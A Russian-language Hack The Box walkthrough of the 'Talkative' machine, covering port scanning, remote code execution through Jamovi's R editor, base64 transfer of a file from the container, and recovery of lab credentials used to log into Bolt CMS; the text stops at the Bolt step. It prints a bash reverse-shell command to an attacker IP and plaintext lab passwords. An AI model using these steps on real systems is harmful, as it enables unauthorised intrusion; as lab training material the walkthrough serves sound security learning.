Категория > Новости > HTB Talkative. Проходим цепочку докер-контейнеров для захвата хоста - «Новости»

HTB Talkative. Проходим цепочку докер-контейнеров для захвата хоста - «Новости»


4-09-2022, 00:02. Автор: Рената
Hack The Box мы про­экс­плу­ати­руем уяз­вимость в CMS Jamovi для получе­ния учет­ных дан­ных, а затем попен­тестим CMS Bolt, что­бы получить управле­ние над Docker и тун­нелиро­вать тра­фик на основной хост. Пос­ле это­го работа­ем с базой RocketChat для авто­риза­ции в чате и получе­ния RCE. Что­бы повысить при­виле­гии, раз­берем­ся с воз­можностью CAP_DAC_READ_SEARCH.

warning


Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.



 

Разведка


 

Сканирование портов


До­бав­ляем IP-адрес машины в /etc/hosts:


10.10.11.155 talkative.htb

И запус­каем ска­ниро­вание пор­тов.



Справка: сканирование портов


Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.


На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.


ports=$(nmap -p- --min-rate=500 $1 | grep^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).



Ре­зуль­тат работы скрип­та
Ре­зуль­тат работы скрип­та (про­дол­жение)

Наш­ли пять откры­тых пор­тов:



  • 80, 3000 — веб‑сер­вер Apache 2.4.52;

  • 8080, 8081, 8082 — веб‑сер­вер Tornado 5.0.


При этом филь­тру­ется под­клю­чение к пор­ту 22 (SSH).


С помощью ути­литы WhatWeb узна­ем, какие тех­нологии исполь­зуют­ся на обна­ружен­ных откры­тых пор­тах.


whatweb http://talkative.htb
whatweb http://talkative.htb:3000/
whatweb http://talkative.htb:8080/
whatweb http://talkative.htb:8081/
whatweb http://talkative.htb:8082/
Про­вер­ка исполь­зуемых тех­нологий

Из все­го, что нашел WhatWeb, нас боль­ше все­го инте­ресу­ет плат­форма Jamovi.


Глав­ная стра­ница сай­та http://talkative.htb:3000/ 

Точка входа


Нам дос­тупен Rj Editor, а это очень лег­кий спо­соб получить уда­лен­ное выпол­нение кода (RCE). Для соз­дания реверс‑шел­ла будем исполь­зовать сайт Online Reverse Shell Generator. Там ука­зыва­ем парамет­ры, такие как локаль­ные хост и порт, язык и целевую сис­тему.


Online Reverse Shell Generator

За­тем откры­ваем лис­тенер, мож­но ско­пиро­вать коман­ду из генера­тора. А теперь откры­ваем Rj Editor и переда­ем сге­нери­рован­ный шелл в фун­кцию system. Отправ­ляем на выпол­нение ком­бинаци­ей кла­виш Ctrl + Shift + Enter.


system("bash -c 'bash -i >& /dev/tcp/10.10.14.11/4321 0>&1'",intern=TRUE)
Rj Editor RCE

И получа­ем уда­лен­ную коман­дную обо­лоч­ку.


Бэк­коннект от сер­вера

По поль­зовате­лю и име­ни хос­та понима­ем, что находим­ся в докер‑кон­тей­нере.


 

Точка опоры


Ос­матри­ваем­ся в рабочем окру­жении и в домаш­нем катало­ге рута находим файл с рас­ширени­ем omv.


Со­дер­жимое катало­га /root/

Пе­рене­сем этот файл на локаль­ный хост для даль­нейше­го изу­чения. Так как файл малень­кий, можем закоди­ровать его в Base64, а потом декоди­ровать на локаль­ном хос­те.


cat/root/bolt-administration.omv | base64 -w0
Ко­диро­вание фай­ла

Де­коди­руем текст, а затем рас­паку­ем как архив ZIP. В одном из фай­лов най­дем учет­ные дан­ные.


echo UEsDBBQA...mBgAAAAA= | base64 -d >bolt-administration.omv
unzip bolt-administration.omv
Со­дер­жимое фай­ла xdata.json (логины)
Со­дер­жимое фай­ла xdata.json (пароли)

По­луча­ем сле­дующие пары учет­ных дан­ных:


matt@talkative.htb :jeO09ufhWD<s
janit@talkative.htb :bZ89h}V<S_DA
saul@talkative.htb :)SQWGm>9KHEA

Я переп­робовал раз­ные ком­бинации логинов и паролей, но дос­тупа все рав­но никуда получить не уда­лось. Одна­ко находим поч­товый адрес адми­нис­тра­тора и, поп­робовав най­ден­ные пароли для него, авто­ризу­емся в CMS Bolt.


Глав­ная стра­ница http://talkative.htb/bolt 

CMS Bolt — RCE


Bolt исполь­зует Twig для шаб­лонов и поз­воля­ет управлять кон­тентом и поль­зовате­лями. Это дает нам воз­можность записы­вать код в новый файл или вно­сить изме­нения в сущес­тву­ющие фай­лы.



Перейти обратно к новости